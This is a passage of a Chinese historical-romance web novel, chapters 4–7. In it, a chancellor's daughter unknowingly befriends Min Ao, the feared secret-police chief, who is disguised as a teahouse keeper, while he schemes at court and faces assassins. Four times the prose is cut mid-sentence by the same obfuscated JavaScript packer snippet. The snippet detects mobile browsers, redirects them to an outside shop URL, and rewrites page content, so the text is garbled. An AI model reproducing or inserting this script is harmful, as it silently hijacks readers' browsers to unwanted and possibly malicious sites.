当初舅父下狱,所谓的“影射时政,暗讽朝纲”,不过是他新作的一幅《秋山访友图》,被狮牙卫牵强附会,画中山形水势,暗合叛郡舆图;断桥孤松,意喻国势飘零。 何其荒唐。 父亲的声音苍老而疲惫,打断了兄长: “慎言……狮牙卫借题发挥,意在沛公,是要借你舅父的案子,杀鸡儆猴。眼下局势,已非‘据理力争’四字可解。” 他顿了顿。 “誉王殿下昨日私下递话,又提及对月儿的欣赏。殿下为人沉稳练达,圣眷正隆。若这门婚事能成,对月儿来说是个稳妥的归宿,于家族而言,也多了一份依仗。” 冷月无声。 宋展月没有再听下去,悄无声息地离开,回到了自己的院子。 仆从已提前备好热水,她净手洗脸,又换了身寝衣躺在了床上。 帐顶的绣纹在黑暗中模糊不清,耳畔只有更漏声与远处隐约的梆子响。 辗转反侧,长夜难熬。 她披着中衣起身,挑亮了灯,来到书桌前,取出一张素笺,也无心调色构图,只凭着胸中一股滞涩的郁气,提笔胡乱涂抹起来。 舅父身陷囹圄,家中愁云惨淡,一切灾祸的源头,都指向那横行无忌的狮牙卫及其主子。 想到这,不由气涌上心,手中笔墨飞舞,越写越恨。 最后撕掉画纸,另铺一笺,左手疾书,将满腹愤懑化为尖锐词句,在纸上将闵敖从头到脚批驳得体无完肤,字字如刀,句句见血。 洋洋洒洒写了好几页之后,胸中那股恶气才似乎随着墨迹倾泻殆尽,心中大畅。 又唤春苗取来火盆,将方才书写的纸张一一烧掉,这才身心俱疲地回到床边,和衣而卧,沉沉睡去。 翌日。 宋展月原本在自己院里练字,春苗来报说大少爷请她去花厅一趟。 刚提着裙裾跨进花厅门槛,嫂嫂李氏的声音就含笑响起来: “哎哟,我的好妹妹,你这乌眼青是怎么回事?昨夜没歇好?”接着吩咐身边的丫鬟:“去将冰片、银丹草拿来,用细纱布裹了,给二小姐敷眼,消消肿。” “昨晚做噩梦了,没睡好。”她假意哈欠道。 “你呀,和小时候一个样,心里一不痛快,夜里就睡不踏实。” 宋辞渊朝她看过来,“还记得你小时候,每次做了噩梦,不管多晚,都要抱着枕头,光着脚丫子啪嗒啪嗒跑来敲我的房门,非要挤在我榻边才肯闭眼。” 童年糗事被当面提起,宋展月脸颊染上薄红,轻嗔道:“哥哥!我都多大了,不许你再提这些了。” 宋辞渊爽朗一笑,习惯性地抬手想揉她发顶,手到半空,却转而轻轻拍了拍她的肩。 “好了,不笑你了。今日唤你来,是有一桩正事要同你说。” “昨儿誉王府来人,道殿下府中新修书斋落成,缺一幅镇斋的山水,因此想托你作一幅。” “此事,父亲大人已代你应下了。” 宋展月点了点头,又垂下眉睫,明白这是醉翁之意不在酒。 “月儿知晓该怎么做了。” 说是这么说,但其实她的脑中一片混沌,昨夜未歇好,如今实在提不起心气,更无半分挥毫作画的兴致。只道此画怕是要费些功夫,容她静心揣摩几日。 语罢,便草草拿了那裹着冰片银丹草的细纱布,按在眼下,回了院子。 几天后,蒋浣溪打发人送来了一个紫檀木长盒,里面是一支湖州狼毫笔。 笔杆由温润的玉竹所制,顶端嵌着一小块青金石。 她拿起来在指间转了转,触手温凉,做工精巧,的确是件雅致又不显谄媚的礼物。 用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201871|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这笔作为回礼,赠予那位闵掌柜,再合适不过了。 狮牙卫府衙。 闵敖端坐在临窗的书案后,案头放着的密报,字里行间都是对他的控诉。 范凌侍立在下首,悄悄抬眼觑着主子的神色,瞧见督主嘴角竟噙着笑意,心中一惊。 督主莫不是被气疯了? 密报传回来时他看了几眼,从“酷吏手段”骂到“罔顾法度”,笔锋之锐利,恨意之鲜明,跃然纸上。 “全都在这儿了?” “是,”范凌连忙躬身,“宋姑娘近期的言行举止,都记在这上面了。” “三更半夜不睡觉都要写文章骂本督……”闵敖朝范凌看了眼,灰黑色的眸子里辨不出情绪,“你怎么看?” 范凌赶忙垂下头,脑子飞速转动,斟酌着措辞:“宋姑娘估计是因程江一案,对督主与狮牙卫积怨已深。毕竟程江是她的舅父,血亲之仇,难免意气用事。” 闵敖低笑了一声,重新拿起那页写着骂词的纸,仿佛能透过纸张,看见宋展月当时咬牙书写的情状。 “誉王想用一门亲事绑住宋相,范凌,你觉得本督该怎么做?” “依属下看,可用借刀杀人一计。” 正说着,门外响起三道敲门声。 是狮牙卫佥事,杨洪,也是当时在红炉点雪与宋展月起冲突的那个人。 “禀督主,”他单膝跪地,“遵照您的钧令,《十罪书》的相关书肆皆已处置,流传出去的十余份抄本也已追回焚毁。如今,市面上绝不会再有一个字流传。” “嗯。” 得到回应,杨洪站起了身。 视线掠过案头周围,又飞快地扫了一眼督主的神色,心中迟疑,不知道接下来的话当讲不当讲。 那日红炉点雪之行,本意是杀鸡儆猴,没想到宋相幺女亲临。 若按往日狮牙卫的行事,那女子早该被他们拿下,打入潮狱。 至今他都想不通,为何督主那日要亲自出面保下她,还伪装成掌柜身份? 正犹豫之际,耳边传来督主的问话。 “程江一案,都理清了?” “是。”杨洪精神一凛,收起杂念,“属下正要禀报,是否结案上报?” 闵敖并未立刻回答,他身体后靠,缓缓摩挲指间淡紫色绣帕,目光落在上面良久,才道:“明日我入宫面圣。程江一事,先放着。” 事毕,两人离开书房,行至廊下。 杨洪看向并排而行的范凌,实在按捺不住,压低声音:“范兄,你有没有看到督主方才摩挲的那条手帕?分明是女子之物……” 却见范凌但笑不语,只“唰”地展开手中折扇,不轻不重地敲了下他脑门:“你个大老粗,督主的事你也敢琢磨。” 杨洪被敲得一懵,随即摸着脑门忿忿不平:“嘿!我怎么就大老粗了?那帕子我瞧得真切!” “铁定是宋家小女的,不然督主那日何必亲自下场,还扮个劳什子掌柜去解围?可他直接拿了人,或纳进府里,谁敢说个不字?何苦这般弯弯绕绕!” 范凌笑笑,联想起近些日子督主的所作所为。 “没准,督主这是乐在其中。” 5. 第 5 章 再次来到西山。 天朗气清,惠风和畅,今日的山峦去掉了雨雾的朦胧重纱后,更显苍翠明净,连鸟鸣都清脆了几分。 宋展月拾级而上,发现相比起上次,这次过来台阶青苔没了,反而铺了薄薄的细沙用以防滑。 莫非是那宅子的主人命人打理过?不然谁会费心打理这条偏僻山道? 她在听松亭中静心作画,一个上午过去,画中山石松壑的骨架已淋漓展现,墨韵生动。 如今,就只差最后的着色点缀了。 她小心收好画稿,带着春苗,乘车前往城中的红炉点雪,去取那能让画作点睛的‘琅嬛青’。 未时末。 马车缓缓停靠在茶馆门前,入目是一片由青砖灰瓦、朱漆招牌和往来车马构成的繁华街景,周围人流如织,三三两两的文士坐在临街的茶座上高谈阔论。 刚迈入门口,小二便迎了上来,宋展月道明来意后,便被引到了二楼一雅间。雅间用竹帘和一架绣着水墨山水的屏风,与外间隔开。 她坐在靠窗的圈椅上,春苗把紫檀木盒搁在桌面。 忽地门口竹帘轻响,转头一看,却并不是那闵掌柜,是一笑意盈盈、身着青色直裰,头戴方巾,书生打扮的中年人。 “姑娘安好。在下是此间账房,姓范。听闻姑娘拜访我家掌柜,真是不巧,掌柜一早外出访友去了。” “这样啊……”宋展月犹豫了一下。心道来都来了,再等等也无妨,又问:“不知范先生可知,闵掌柜大约何时能归?” 范凌淡笑:“算算时间,也快了。姑娘不妨在此稍坐,品一品敝店的明前龙井。” 语罢,他转头吩咐候在门边的小二,配几样细巧茶点过来。 行出外间,范凌脸上的笑容淡了下来,他招招手,对暗处走出的人低语道:“速禀督主,宋姑娘茶馆等候。” 皇宫,养心殿东暖阁。 皇帝半倚在明黄的软枕上,由一名老太监服侍着喝药。他的脸色青白中透着灰败,眼底是深重的倦意。 闵敖立在御榻前三步远的金砖地上,身形挺拔如松,姿态恭敬,却无半分卑微之气,侍立的小宫女连呼吸都放得极轻,大气不敢喘,捧着一幅展开的《秋山访友图》摹本,膝行至皇帝面前。 “陛下,程江一案已查实。臣愚钝,不知当如何论处?” 病重的皇帝扫了一眼,疲惫而厌烦地挥挥手:“秋山萧索,朕看了就心烦。此等不识趣、惹朕忧思之物,烧了。” “至于程江——杀。” 漠然的声音响彻大殿。 “陛下圣明。”闵敖躬身领命,却并未退下。待皇帝服药后精神略济,他方上前半步,聊起京中动向。 “狮牙卫探得,宋相之女与誉王殿下近来交往渐密,恐有议亲之象。且此女与罪臣程江,乃嫡亲的舅侄关系。” 皇帝并未睁眼,只从喉间发出一声模糊的:“嗯?” 过了会,他缓缓掀开眼皮,浑浊的眼珠转向闵敖,眼底俱是冷漠与警惕。 “你的意思是……宋家想借誉王,保程江?” “臣不敢妄测。”闵敖垂首,语气毫无波澜,“臣只是据实回禀。程江刚下狱,其甥女便与皇子议亲,时机巧合得令人生疑。” “此刻若杀程江,天下人会如何议论?是会赞颂陛下法度严明,还是会猜测誉王殿下联姻之举,是在为罪臣转圜,乃至暗中不满陛下圣裁?” 皇帝冷声:“依你看,应当如何?” “程江影射圣躬、结交朋党,其心可诛,其罪当死。但此刻杀他,恐会混淆视听,玷污天家清誉。” “臣以为,不如暂留其性命,囚于潮狱深处。一则显陛下仁德;二则,此人活着一日,便是悬在清流头上的一把刀。谁若躁动,便可视为其同党,如此,生不如死,其用远胜一具死尸。” “至于誉王,殿下身份贵重,乃天家血脉,其行止自有陛下圣断。臣身为外臣,不敢妄言,任凭陛下做主。” 皇帝沉默良久,挥了挥手。 闵敖躬身退出宫门。 一狮牙卫探子从阴影中快步上前,对着他耳语了几句。 闻言,他霎时眉眼舒展,正欲坐上车驾出宫,却又想到了什么,对那人低声吩咐:“……即刻送到红炉点雪。” 茶馆送来的点心,宋展月很意外,竟全是她喜欢的,尤其是这裹了蜜糖的松子百合酥,简直爱不释手,连用了好几块。 且馆中书籍甚多,她一边吃一边看书,不知不觉就在窗边坐到了申时。 直至夕阳的余晖从窗外斜斜地铺满她面前的半张桌面,她才猛地从书中的世界里惊醒,赶紧合上书卷,在茶馆里转了几圈,终于在后院通往前厅的月亮门边,找到方才那位范先生。 “范先生,闵掌柜何时能归?我这实在不能久留了。” “姑娘莫急。”范凌没有正面回答她的问题。 “掌柜传回口信,已在回程路上。要不再给姑娘添盏冰糖雪梨羹,劳烦姑娘再稍后片刻?” 见他如此说,宋展月便打算再等一刻钟,要是掌柜的还没回来就回府了。 她重新坐回窗边的位置,看着窗外渐渐落下的太阳,心中不免染上几分焦灼,方才全神贯注看书的闲适心境已然提不起来。 渐渐地,廊下的灯笼被一盏盏点燃,晕开一团团昏黄的光。 她再也坐不住了,准备唤春苗离开,刚走到雅间门口—— 却见竹帘被一双骨节分明的手给从外轻轻掀起,穿着水蓝色暗纹锦袍的闵掌柜踏步而入,带着一身风尘仆仆的气息。 他望向她,潋滟的双眼包含歉意:“让宋姑娘久候,是在下的不是。路上有些耽搁,紧赶慢赶,总算回来了。” 宋展月下意识松了口气。 “不妨事的,我也没等多久。”她轻声应道,随即关切地望向他,“你的伤,如今可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201872|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大好了?那日看你痛楚,实在令人忧心。” 他微微一笑,眼底似有暖意:“劳姑娘挂怀,已无大碍了。” 说着,他侧身站在门帘处,极为自然地抬手为她挑起竹帘:“此处狭小,不便展示颜料。请姑娘移步,‘琅嬛青’在隔壁更为清净的静室。” 闵掌柜身姿高大,存在感极强,从其身旁擦过时,宋展月甚至能清晰感受到他透过衣服传出的温热体温,以及一丝极淡的、仿佛松针与冷雪混合的凛冽气息。 她心尖莫名一颤,赶紧快步走出。 静室果然更为宽敞雅致。 四壁是雨过天青色的墙纸,靠墙的多宝阁上错落摆放着古籍与文玩。 一张宽大的紫檀木画案临窗而设,案上笔墨纸砚一应俱全,且皆是上品。 更引人注目的是,墙壁上,挂着一幅墨色淋漓的《墨竹图》,只一眼,宋展月便认出,这是舅父程江所画的早年得意之作! 她惊愕地瞪大了眼睛。 自舅父下狱,他从前的画作,尽数被狮牙卫查抄、焚毁,一件不留,不曾想这里竟会秘密藏有一幅真迹! 她惊讶到失声,愣神片刻才回过神。 “这……这画你如何得来?” 闵敖缓步走到画前,背手而立:“不瞒姑娘,我其实一直仰慕程大人的风骨与画艺。此番变故,令人痛心。此画是多年前机缘巧合购得,一直珍藏。事发后……实在不忍明珠蒙尘,便斗胆留下,也算是个念想。” 这话令宋展月心惊胆战。 京中谁不知道狮牙卫的威名? 眼前男人竟敢在这风声鹤唳、人人自危的当口顶风作案,私藏钦犯画作,不怕狮牙卫将其查获,落得个同党的罪名吗? 似乎听出她的心声,眼前之人转过身。 “姑娘放心,此处僻静,往来皆是风雅同道,无人会多嘴。更何况……” “那些鹰犬,如今正忙着罗织罪名、寻找下一个目标,程大人的区区画作,于他们眼中已无价值。但于我而言,不管世事如何变迁,我都当珍之爱之。” 宋展月胸口一酸,心中那股一直压抑着的、没能宣泄的,对狮牙卫的憎恶在此刻如同找到决堤的出口。 她口不择言,声音颤抖:“狮牙卫心黑手狠,赶尽杀绝,构陷忠良,把控朝堂,迷惑圣上,程大人一生两袖清风、丹心为国,却被他们用一幅画、几句牵强附会的臆测构陷入狱,简直令人发指!” 闵敖静静听着,脸上并无惊诧,反而还牵动了一下嘴角,他颔首,附和道:“姑娘所言句句在理。闵敖此人,当真杀之而后快。” 宋展月倒吸一口凉气,慌乱地环顾四周,揪住自己的裙摆,压低声音急道:“掌柜慎言!这话若传出去,是要掉脑袋的!” “那姑娘会出卖我吗?” 闵敖微微倾身,灰黑色的眼眸在静室昏黄的灯光下,映出一点跳动的烛火,也映出她惊慌失措的倒影。 6. 第 6 章 “怎么会!”宋展月急切道:“闵掌柜不畏强权,敢言他人之不敢言,展月佩服不已!” 这是她发自内心的想法,并非恭维,也并非是因此等语境下的迫不得已。 在如今人人自危、对狮牙卫与闵敖之名讳莫如深,连父亲兄长在府中都要谨言慎行的时局下,眼前之人竟能如此直言不讳,痛斥奸佞,其胆识与风骨,她是由衷感佩,甚至生出一丝同仇敌忾的知音之感。 “对了。”她让春苗把东西拿过来,放在他们之间的桌面上。 “蒙掌柜前次解围相助,又赠物之恩,聊表谢意,请务必收下。” 盒子打开,那支玉竹为杆、青金石为饰的狼毫笔静静躺在锦缎之中,流转着温润的光泽。 闵敖的眼底泛起极深的愉悦,他伸手,动作轻缓地将笔取出,指腹抚过笔杆上的装饰。 “姑娘有心,此物甚合我意。” 他边说,边将笔小心置于一旁,转身从多宝阁下的暗格中取出早已备好的紫檀提匣,也打了开来。 匣内以丝绒为衬,整齐排列着八枚宝光内蕴的‘琅嬛青’颜料锭,其下还叠放着厚厚一沓质地上乘的玉版宣与两锭松烟古墨。 “既作画,便不可辜负这颜料。好马需配好鞍。这些权当配套,望姑娘莫要推辞,一并收下。” “这怎么行!”宋展月连声拒绝。 只一眼她便看出那配套之物绝非凡品。 光是那玉版宣的细腻光泽与松烟古墨的隐隐松香,便知是宫中御用或前朝古物级别,价值远超她所赠之笔,这让她如何能安心收下? 闵掌柜却只温润一笑,打了个响指,门外立时走进一名沉默干练的小厮。 “宋姑娘不必推辞。此匣沉重,我让人直接搬上姑娘的马车便是。” “不,这实在太过……”她还欲坚持,却见那小厮已手脚麻利地合上提匣,稳稳端起,向二人躬身一礼后便迅速退了出去。 看着小厮的身影消失在楼梯转角,她无奈地呼出一口气,脸上泛起窘迫的红晕。 “闵掌柜,你这东西实在太贵重了,我受之有愧。” 他却轻轻打断了她的话,语气温和而循循善诱:“若姑娘执意觉得收礼心中不安,那不如这样如何?” “姑娘赠我这支寓意甚佳的笔,我便厚颜求姑娘一幅墨宝。不拘题材,只要是姑娘亲手所作便好。” 他抬眼,眸中含笑。 “如此,礼尚往来,姑娘心中可会稍安一些?也算……全了今日这一场知音相逢的雅意。” 如此提议,让宋展月心中那份沉甸甸的负担感果然消散了大半。 她沉吟片刻,轻轻点头,唇角扬起清浅笑意:“既如此,展月便恭敬不如从命了。待我回去斟酌一番,定用心画一幅,再送来请掌柜指教。” 暮色四合。 宋展月告辞归家,闵敖不紧不慢地跟在她身旁,送她至书斋门口。 马车缓缓驶离,她将车窗帘子掀开一线,仍能看到他独自立在门廊温暖的灯火下,静静眺望的身影。 她和他,不过只见了寥寥几面而已,他却赠与她如此贵重之物。 不知道他何方出身,出手竟如此阔绰?怎么她在京中,从未听过此人名号呢? 迈入家门,经过垂花门旁的抄手游廊,正好遇见兄长的两个总角之年的儿子,他们好奇张望身后家仆手中捧着的、显得格外沉重的紫檀提匣。 “姑姑,”两个小家伙凑上来,仰头问道,“这大盒子里拿的是什么?” 宋展月摸了摸侄儿们的头,温声道:“是……一位书画上的朋友所赠,知我正在作画,便给了些好材料。” 她不愿多说,含笑岔开话题:“你们俩怎么在这儿?今日的功课可都做完了?” “做完啦!姑姑,今晚厨房做了你最爱吃的蟹粉狮子头和桂花糖藕!”大侄儿宋明修抢着说道,一脸得意,仿佛是他吩咐厨房做的。 小侄儿宋明轩也扒着她的胳膊,眼巴巴地补充:“还有杏仁茶!” 她的两个侄儿,大的明修十二岁,已有了少年挺拔的模样,性子却还活泼;小的明轩八岁,正是最黏人的年纪。 两人都跟她这个年纪最相近又最温和的长辈格外亲近,平日里老是吵着要她陪他们玩棋、讲故事。 打发完俩孩子,宋展月先是返回自己院子,将那紫檀提匣仔细收好在书房,之后才略作梳洗,换了身家常的藕荷色襦裙,前往花厅用晚膳。 “可算回来了,你再不来,这俩皮猴子眼珠子都要掉进狮子头里了。”李氏的声音传了过来,笑着拉她坐下。 “今日出门作画,是耽搁了些时间。” 刚在母亲身旁落座,父亲虽未抬头,眼神却扫了过来,声音温和:“为殿下作画,可还顺手?要不要父亲替你寻些古籍图谱参考?” “不用劳烦父亲,女儿已有头绪,应付得来。” 兄长笑着接话,语气轻松:“父亲多虑了,月儿的画技得舅父真传,是京中闺秀拔尖的存在,区区一幅山水,岂能难倒她?” 母亲嗔怪地看了父子俩一眼,拿起公筷,将一只狮子头舀到宋展月碗里。 “好了好了,先吃饭,有什么事饭后再说。快尝尝,这是你哥哥特意让人从南边快马运来的活蟹拆的粉,凉了可就腥了。” 饭后,宋展月回到自己院中,舒舒服服地泡了个热水澡,洗去一身疲惫。 待她穿着一身素软的中衣,坐在铜镜前,由春苗为她绞干长发时,听见她语气轻快道。 “小姐,您带回来的那宣纸可真好看,光溜溜的,映着灯像块玉似的!奴婢还是头一回见这么漂亮的纸。” 宋展月也唇角微扬,轻轻“嗯”了一声。 春苗的话不错,那纸的确是极品,连她都是第一次得见如此品相的,想来便是宫中御用,也不过如此了。 待头发微干,她来到书案前,将宣纸从盒中取出,平铺在案上,仔细抚摸。 只见那纸张在烛火的映衬下愈发莹白透光,肌理匀净细腻,触手温润如玉。 身为画者,她平时最看重的就是作画之物了,如此好物,真是令她爱不释手。 她又沾水研了那方松烟古墨,墨香沉静,在静谧的夜里丝丝缕缕地散开。 提笔凝神,并未作画,沉吟片刻后,只在纸的右下角,以自己惯用的清隽小楷,落下一行诗: “展卷流光彻,濡毫待写云。” 写完,她静静看了片刻,才小心地将纸收好。 接下来的几日,宋展月没有出门,都待在家中作画。 要送誉王的那幅山水,她用了十二分的心思。 山石皴擦,云水点染。 尤其那远山青黛与近处松针的翠色,被她小心翼翼地调入了些许“琅嬛青”,顿时画面生动,气韵流转。 那青翠之色仿佛能透出纸背,带着雨后山林般的润泽与灵气。 画成之后,她请父亲和兄长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201873|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了过眼,他们都一致认为此画笔力精到,设色清雅而不失贵气,既显才情,又合王府书斋的格局,足可应对誉王之请。 父亲抚须点头,道:“画得甚好。眼下离端午宫宴还有小半月,届时为父寻个妥当机会,呈与殿下便是。” 既已画成,宋展月也得了空出府逛逛。 为了另一件搁在她心头的事——要送给闵掌柜的回礼画作,她实在不知从何下手。 画山水?未免与给誉王的重复,也显不出特意答谢的诚意。 她思来想去没有头绪,只好出门去西郊或南湖一带走走,采采风,希望能得些灵感。 车驾从庄马大街的闹市穿过,周边尽是吆喝的商贩与熙攘的行人,是一条再热闹不过的街道。 刚放下车窗的纱帘,想隔开些市井的喧嚣,却无意间瞥见前方街角处,那青石板地上,直挺挺跪着一个单薄的身影。 女孩看上去和她年纪差不多,却浑身脏兮兮的,头发枯黄散乱,脸上沾着尘土与泪痕混合的污迹,身前铺着一块歪歪扭扭写着“卖身葬父”四个大字的粗麻布。 一领破草席,勉强盖着她身后一个没了气息的人形。 周围堵了几个人,有嘴里“啧啧”叹气摇头的,也有摸出两枚铜板往那麻布上扔的,还有几个闲汉抱着胳膊,带着几分看热闹的轻佻神情指指点点。 此情此景,绝望如斯,宋展月的心口顿时被刺了一下,当即吩咐车夫,马车缓缓在街边停下,引得路人侧目。 她从车上下来,春苗赶忙撑着伞跟上。 主仆二人走近,刚好对上了那女孩看过来的眼神。 那眼神初时是浑浊的麻木,待看清她的模样后,骤然升起一丝微弱如风中残烛般的希望,随即又迅速被更深的惶恐与卑微淹没,慌忙低下头去,瘦弱的肩膀微微颤抖。 “可怜见的,”宋展月轻声开口:“可有什么我能帮忙的地方?” 那姑娘闻言,猛地抬起头,泪水瞬间决堤:“家父……家父前日病故了,连口薄棺都……求小姐发发善心,赏些银钱让爹爹入土为安。小女子愿签下死契,给您做牛做马,报答大恩!” 宋展月心中一酸。 这夏日的日头这么大,她却在这里跪着,也不知多久没吃没喝了,心里的苦楚该有多深。 她直接从腰间解下自己绣工精致的荷包,沉甸甸的,是她今日出门预备打赏和零用的银钱。 “给,”她将荷包整个递了过去:“拿去好生安葬你父亲。不用你当牛做马,多出来的钱,你给自己换身干净衣服,买些吃食吧。” “谢、谢小姐……您的大恩大德,小女子来世结草衔环也定当报答!” 女孩以头抢地,砰砰作响,额前很快便见了红痕,泪水混着地上的尘土糊了一脸。 待宋展月的身影离开许久。 女孩才缓缓直起身,用脏污的袖口用力抹了一把脸。 方才还盛满泪水、写满绝望的眼睛,此刻却骤然一变,浮现出阴狠且势在必得的眼神。 她动作利落地卷起地上的破麻布,连带着那只沉甸甸的荷包一起塞进怀里,佝偻着背,迅速钻入旁边的小巷,来到门面破旧的当铺后门,在门上敲了三声两短一长。 门开了,里面的人默不作声地侧身让她进去,给她拿出笔墨。 女孩便借着昏暗的光线,在柜台旁提笔作画。 不多时,画中人已跃然纸上,眉眼清晰,气质娴雅——正是宋展月。 7. 第 7 章 宋展月在外转了小半天,仍旧兴致缺缺。 再次经过红炉点雪时,她吩咐车夫在侧巷停下,之后带着春苗进了门。 她想着,还不如直接问闵掌柜喜欢什么样的画,自己直接画给他便是,也不必费心思琢磨揣测。 道明来意后,小二却赔着笑道:“哎哟姑娘,真是不巧,今儿我们掌柜不在。至于他什么时候回来……这个不好说,我们这些小的,哪敢过问掌柜的行踪呢。您看,您还有别的需要吗?” 又不在?宋展月心下嘀咕,这掌柜的产业挺多,似乎比父亲还忙。 现下时辰还早,想起上回没看完的书,便出示了闵掌柜给予的‘阅书印’,再次来到茶馆二楼的雅室。 小二给她端来了两碟精致的点心:一碟是晶莹剔透的桂花水晶糕,另一碟是酥皮裹着红豆馅的如意卷。 都是她爱吃的清甜口味。 “你们这的点心师傅手艺真好。” 小二笑容更殷勤:“姑娘若喜欢,小的这便吩咐厨房,等会您走的时候,给您捎上两盒新鲜的。” 糕点味道确实好,宋展月也没拘着,应了下来。 她先是在靠墙的书架上略作逡巡,找到了上回那本书,接着又细细打量这间雅室,发现这雅室的布置虽看似简洁,实则处处透着不凡。 墙面挂着的,是两幅前朝丹青大家的真迹,旁边还有一幅早已失传的山水摹本,若非她师承舅父,几乎要以为那是赝品了。 真是太厉害了,没想到这小小的茶馆,竟藏着如此深厚的底蕴。 叩叩—— 门口传来两声不轻不重、颇有节奏的敲门声。 宋展月转过身,发现是账房的范先生用指节在门框上轻叩,脸上带着惯有的和气笑容。 “打扰姑娘兴致了,听闻姑娘来找我家掌柜?” “正是。” 他的脸上露出几分歉意与为难:“还真是不巧,掌柜今日一早便出去了,说是有要事在身。不知姑娘寻掌柜所为何事?或许范某可以代为转达。” “那便劳烦先生了。” 她三言两语说明了想询问掌柜画作偏好的来意。 “原来如此。”范凌点了点头,笑容可掬,“姑娘放心,范某必会一字不差地转告掌柜。不多打搅姑娘雅兴了,您随意。” 说完,他礼貌地退出门去,轻轻带上了门。 下楼之后,他沿着走廊越过后院的月亮门,来到一间堆放杂物的库房前,从怀中取出一把黄铜钥匙,打开了门锁,推门进去,接着掀起角落一块沉重的青石板,朝下方幽深的阶梯走了下去。 这是一条隐秘的地道,可直接通往辖下的秘密牢狱——潮狱。 地道内灯火通明,两侧墙壁插着火把,将潮湿的石壁映得忽明忽暗。 空气中弥漫着一股混杂霉味、铁锈与淡淡血腥气的气息。 他对此早已习惯,目不斜视一路疾行,不多时便来到一处开阔的刑房。 只见正中央,立着一道肩背伟岸的身影,正是闵敖。 他身姿挺拔如松,侧脸在跳动的火光下愈显冷硬,衣摆袖口以暗金线绣着细密狮纹,腰间革带紧束,周身散发出生人勿近的凛冽气场。 此刻,他正隔着狱栏,凝视两名狮牙卫褪去尸身衣物,仔细查验其体貌特征。 范凌在他身后三步处站定,垂手恭立,屏息等待。 近些时日,督主遭遇了三次暗杀。 第一次是在从西山别院回城的官道上,遭遇冷箭伏击;第二次是深夜督主府的书房外,有刺客潜入,触动了机关;第三次则是今天,督主前往潮狱途中,于一条窄巷被三人围堵。 旁人不知,督主不仅武功深不可测,就连轻功也是江湖中数一数二的存在。 不仅身法迅捷,还能凭借听觉,听出靠近之人的呼吸与脚步轻重,判断方位与距离,非等闲之辈不能近身。 这些刺客,如此三脚猫的功夫就敢来行刺,当然是被狮牙卫尽数擒拿。 但令人头疼的是,这些刺客在被捕后,几乎都会在第一时间咬破舌下藏着的毒囊,自尽而死,导致他们完全无法追查,毫无头绪。 闵敖并未回头,声音在牢狱中回荡着:“如何?” 范凌上前半步,将宋展月的来意尽数告知,又略微夸大其词,将她平静的询问,描绘成带着几分期许与好奇的探问。 “嗯。”闵敖沉静听完,面上虽无波澜,但捻着左手拇指上那枚玄铁扳指的动作,几不可察地停顿了一瞬,复又缓缓转动起来。 见范凌没有补充,旁边的杨洪检查完毕后,起身抱拳禀报: “督主,此刺客跟前两批的一样,身上干净,无纹身疤痕,无特殊印记,衣物兵器皆是市井常见之物,查不出源头。” “查不出来源,就查兵器、查毒药、查他们潜入的路线。总会有痕迹。”闵敖淡淡道,语气却不容置疑,“范凌,说说你的看法。” 被点名的范凌略一沉吟。 要说此事是仇家所为的话,那可太多了,督主的仇家多得就像是这地面的沙子。能这么大手笔,布局如此谨慎,幕后之人,肯定非富即贵。 他措辞谨慎,一边观察闵敖神色,一边缓缓提及几类可疑之人——与狮牙卫结怨的藩王、遭抄家流放的世家余孽,乃至后宫中暗藏的势力。 他一面说着,一面随闵敖步履,自潮狱地道离开,返回督主府书房。 “如今,陛下病重,太子年幼,朝局看似平稳,实则暗流汹涌。那几个王爷,都不是安分的主。”范凌继续分析,“属下愚见,誉王近来动作频频,在朝中拉拢清流,又得老臣拥戴,还想与宋相结亲……其志不小。” “只是狮牙卫虽一直盯着他,却并未查出实质性异动。且誉王数次对狮牙卫示好送礼,都被督主您挡了回去。” “如今我们在明,敌人在暗,督主务必小心,以防再生变故。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201874|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哗哗说了一大堆,范凌口干舌燥,端起面前的茶杯一饮而尽。 